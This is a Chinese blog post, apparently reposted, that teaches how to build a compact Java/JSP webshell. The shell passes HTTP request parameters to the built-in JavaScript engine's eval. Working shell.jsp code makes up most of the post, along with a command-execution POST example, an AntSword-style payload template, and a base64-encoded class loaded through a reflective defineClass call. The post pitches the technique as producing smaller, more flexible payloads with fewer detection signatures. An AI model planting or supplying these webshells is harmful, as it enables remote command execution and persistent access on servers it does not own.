前言
一直以來,Java一句話木馬都是采用打入位元組碼defineClass實作的,這種方法的優勢是可以完整的打進去一個類,可以幾乎實作Java上的所有功能,不足之處就是Payload過于巨大,并且不像腳本語言一樣方便修改,并且還存在很多特征,例如繼承ClassLoader,反射呼叫defineClass等,本在這里提出一種Java一句話木馬:利用Java中JS引擎實作的一句話木馬,
基本原理
- Java沒有eval函式,Js有eval函式,可以把字串當代碼決議,
- Java從1.6開始自帶ScriptEngineManager這個類,原生支持呼叫js,無需安裝第三方庫,
- ScriptEngine支持在Js中呼叫Java的物件,
綜上所述,我們可以利用Java呼叫JS引擎的eval,然后在Payload中反過來呼叫Java物件,這就是本文提出的新型Java一句話的核心原理,
ScriptEngineManager全名javax.script.ScriptEngineManager,從Java 6開始自帶,其中Java 6/7采用的js決議引擎是Rhino,而從java8開始換成了Nashorn,不同決議引擎對同樣的代碼有一些差別,這點后面有所體現,
如果說原理其實一兩句話就可以說清楚,但是難點在于Payload的撰寫,跨語言呼叫最大的一個難點就是資料型別以及方法的轉換,例如Java中有byte陣列,Js中沒有怎么辦?C++里有指標但是Java里沒有這個玩意怎么辦?
在實作期間踩了很多的坑,這篇文章跟大家一起掰扯掰扯,希望能給大家提供點幫助,
獲取腳本引擎
//通過腳本名稱獲取:
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript"); //簡寫為js也可以
//通過檔案擴展名獲取:
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
//通過MIME型別來獲取:
ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");
系結物件
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));
或者通過eval的多載函式,直接把物件通過一個HashMap放進去
new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}))
eval
綜合上面兩步,有很多種寫法,例如:
shell.jsp
<%
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));
%>
或者直接縮寫成一句:
<%
new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("mr6"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}));
%>
以執行命令為例:
POST:mr6=java.lang.Runtime.getRuntime().exec(“calc”);

即可達到命令執行的效果,
基本語法
翻閱檔案比較枯燥,這里挑一些用到的說一說,
感興趣的同學也可以看一下原檔案:原檔案
呼叫Java方法
前面加上全限定類名即可
var s = [3];
s[0] = "cmd";
s[1] = "/c";
s[2] = "whoami";//yzddmr6
var p = java.lang.Runtime.getRuntime().exec(s);
var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");
var result = sc.hasNext() ? sc.next() : "";
sc.close();
匯入Java型別
var Vector = java.util.Vector;
var JFrame = Packages.javax.swing.JFrame;
//這種寫法僅僅支持Nashorn,Rhino并不支持
var Vector = Java.type("java.util.Vector")
var JFrame = Java.type("javax.swing.JFrame")
創建Java型別的陣列
// Rhino
var Array = java.lang.reflect.Array
var intClass = java.lang.Integer.TYPE
var array = Array.newInstance(intClass, 8)
// Nashorn
var IntArray = Java.type("int[]")
var array = new IntArray(8)
匯入Java類
默認情況下,Nashorn 不會匯入Java的包,這樣主要為了避免型別沖突,比如你寫了一個new String,引擎怎么知道你new的是Java的String還是js的String?所以所有的Java的呼叫都需要加上全限定類名,但是這樣寫起來很不方便,
這個時候大聰明Mozilla Rhino 就想了一個辦法,整了個擴展檔案,里面提供了importClass 跟importPackage 方法,可以匯入指定的Java包,
- importClass 匯入指定Java的類,現在推薦用Java.type
- importPackage 匯入一個Java包,類似import com.yzddmr6.*,現在推薦用JavaImporter
這里需要注意的是,Rhino對該語法的錯誤處理機制,當被訪問的類存在時,Rhino加載該class,而當其不存在時,則把它當成package名稱,而并不會報錯,
load("nashorn:mozilla_compat.js");
importClass(java.util.HashSet);
var set = new HashSet();
importPackage(java.util);
var list = new ArrayList();
在一些特殊情況下,匯入的全域包會影響js中的函式,例如類名沖突,這個時候可以用JavaImporter,并配合with陳述句,對匯入的Java包設定一個使用范圍,
// create JavaImporter with specific packages and classes to import
var SwingGui = new JavaImporter(javax.swing,
javax.swing.event,
javax.swing.border,
java.awt.event);
with (SwingGui) {
// 在with里面才可以呼叫swing里面的類,防止污染
var mybutton = new JButton("test");
var myframe = new JFrame("test");
}
方法呼叫與多載
方法在JavaScript中實際上是物件的一個屬性,所以除了使用 . 來呼叫方法之外,也可以使用[]來呼叫方法:
var System = Java.type('java.lang.System');
System.out.println('Hello, World'); // Hello, World
System.out['println']('Hello, World'); // Hello, World
Java支持多載(Overload)方法,例如,System.out 的 println 有多個多載版本,如果你想指定特定的多載版本,可以使用[]指定引數型別,例如:
var System = Java.type('java.lang.System');
System.out['println'](3.14); // 3.14
System.out['println(double)'](3.14); // 3.14
System.out['println(int)'](3.14); // 3
Payload結構設計
詳情寫在注釋里了
//匯入基礎拓展
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
//匯入常見包
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
var output = new StringBuffer(""); //輸出
var cs = "${jspencode}"; //設定字符集編碼
var tag_s = "${tag_s}"; //開始符號
var tag_e = "${tag_e}"; //結束符號
try {
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
function decode(str) {
//引數解碼
str = str.substr(2);
var bt = Base64DecodeToByte(str);
return new java.lang.String(bt, cs);
}
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = Base64.getDecoder().decode(str);
}
return bt;
}
function asoutput(str) {
//回顯加密
return str;
}
function func(z1) {
//eval function
return z1;
}
output.append(func(z1)); //添加功能函式回顯
} catch (e) {
output.append("ERROR:// " + e.toString()); //輸出錯誤
}
try {
response.getWriter().print(tag_s + asoutput(output.toString()) + tag_e); //回顯
} catch (e) {}
語法問題的坑
兩種語言物件間的相互轉換
要注意的是,在遇到Java跟JS可能存在型別沖突的地方,即使匯入了包也要加上全限定類名,
在撰寫payload的時候被坑了很久的一個問題就是,在匯入java.lang以后寫new String(bt,cs)沒有加全限定類名,導致列印出來的一直是一個字串地址,
正確的操作是new java.lang.String(bt,cs),因為在Java和Js中均存在String類,按照優先級,直接new出來的會是Js的物件,
下面附上型別對比表:
| JavaScript Value | JavaScript Type | Java Type | Is Scriptable | Is Function |
|---|---|---|---|---|
| {a:1, b:[‘x’,‘y’]} | object | org.mozilla.javascript.NativeObject | + | - |
| [1,2,3] | object | org.mozilla.javascript.NativeArray | + | - |
| 1 | number | java.lang.Double | - | - |
| 1.2345 | number | java.lang.Double | - | - |
| NaN | number | java.lang.Double | - | - |
| Infinity | number | java.lang.Double | - | - |
| -Infinity | number | java.lang.Double | - | - |
| true | boolean | java.lang.Boolean | - | - |
| “test” | string | java.lang.String | - | - |
| null | object | null | - | - |
| undefined | undefined | org.mozilla.javascript.Undefined | - | - |
| function () { } | function | org.mozilla.javascript.gen.c1 | + | + |
| /.*/ | object | org.mozilla.javascript.regexp.NativeRegExp | + | + |
Rhino/Nashorn決議的差異
這也是當時一個坑點,看下面一段代碼
var readonlyenv = System.getenv();
var cmdenv = new java.util.HashMap(readonlyenv);
var envs = envstr.split("\\|\\|\\|asline\\|\\|\\|");
for (var i = 0; i < envs.length; i++) {
var es = envs[i].split("\\|\\|\\|askey\\|\\|\\|");
if (es.length == 2) {
cmdenv.put(es[0], es[1]);
}
}
var e = [];
var i = 0;
print(cmdenv+'\n');
for (var key in cmdenv) {//關鍵
print("key: "+key+"\n");
e[i] = key + "=" + cmdenv[key];
i++;
}
其中cmdenv是個HashMap,這段代碼在Java 8中Nashorn引擎可以正常決議,var key in cmdenv的時候把cmdenv的鍵給輸出了

但是在Java 6下運行時,Rhino把他當成了一個js物件,把其屬性輸出了

所以涉及到這種混合寫法就會有異議,不同的引擎有不同的解釋,
解決辦法使用Java迭代器即可,不摻雜js的寫法,
var i = 0;
var iter = cmdenv.keySet().iterator();
while (iter.hasNext()) {
var key = iter.next();
var val = cmdenv.get(key);
//print("\nkey:" + key);
//print("\nval:" + val);
e[i] = key + "=" + val;
i++;
}
反射的坑
在Java中,如果涉及到不同版本之間類的包名不一樣,我們通常不能直接匯入,而要使用反射的寫法,
例如base64解碼的時候,Java的寫法如下
public byte[] Base64DecodeToByte(String str) {
byte[] bt = null;
String version = System.getProperty("java.version");
try {
if (version.compareTo("1.9") >= 0) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
} else {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
}
return bt;
} catch (Exception e) {
return new byte[]{};
}
}
改寫成js風格后,發現會有一些奇奇怪怪的BUG,(后來發現反射其實也可以實作,匯入Java型別然后再傳入反射引數即可,就是比較麻煩)

function test(str) {
var bt = null;
var version = System.getProperty("java.version");
if (version.compareTo("1.9") >= 0) {
var clazz = java.lang.Class.forName("java.util.Base64");
var decoder = clazz.getMethod("getDecoder").invoke(null);
bt = decoder
.getClass()
.getMethod("decode", java.lang.String.class)
.invoke(decoder, str);
} else {
var clazz = java.lang.Class.forName("sun.misc.BASE64Decoder");
bt = clazz
.getMethod("decodeBuffer", java.lang.String.class)
.invoke(clazz.newInstance(), str);
}
return bt;
}
但是在Js中,我們并不需要這么麻煩,上面提到過如果importPackage了一個不存在的包名,Js引擎會將這個錯誤給忽略,并且由于Js松散的語言特性,我們僅僅需要正射+例外捕獲就可以完成目的,大大減小了payload撰寫的復雜度,
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = Base64.getDecoder().decode(str);
}
return bt;
}
保底操作
理論上,我們可以用js引擎的一句話實作所有位元組碼一句話的功能,退一萬步講,如果有些功能實在不好實作,或者說想套用現有的payload應該怎么辦呢,
我們可以用java呼叫js后,再呼叫defineClass來實作:
撰寫一個命令執行的類:calc.java
import java.io.IOException;
public class calc {
public calc(String cmd){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
編譯之后base64一下
> base64 -w 0 calc.class
yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIA
填入下方payload
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
var output = new StringBuffer("");
var cs = "UTF-8";
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = new Base64().getDecoder().decode(str);
}
return bt;
}
function define(Classdata, cmd) {
var classBytes = Base64DecodeToByte(Classdata);
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,
int.class,
int.class
);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(
Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
return cc.getConstructor(java.lang.String.class).newInstance(cmd);
}
output.append(
define(
"yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==",
"calc"
)
);
response.getWriter().print(output);
成功彈出計算器

也就是說,新型一句話在特殊情況下,還可以繼續兼容原有的位元組碼一句話,甚至復用原有的Payload,
測驗
測驗環境:Java>=6
同樣的列目錄Payload,原有的位元組碼方式資料包長度為7378,而新型JSP一句話僅僅為2481,差不多為原有的三分之一,


列目錄

中文測驗

虛擬終端

資料庫連接


題外話:安全是個不錯的行業,我干的也挺好,如果你也想學習安全,學習的程序中有需要的學習檔案,俺可以分享給大家!
【查看資料】
最后
基于JS引擎的Java一句話體積更小,變化種類更多,使用起來更靈活,范圍為Java 6及以上,基本可以滿足需求,但是Payload寫起來非常麻煩,也不好除錯,算是有利有弊,
提出新型一句話并不是說一定要取代原有的打入位元組碼的方式,只是在更復雜情況下,可以提供給滲透人員更多的選擇,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/291291.html
標籤:其他
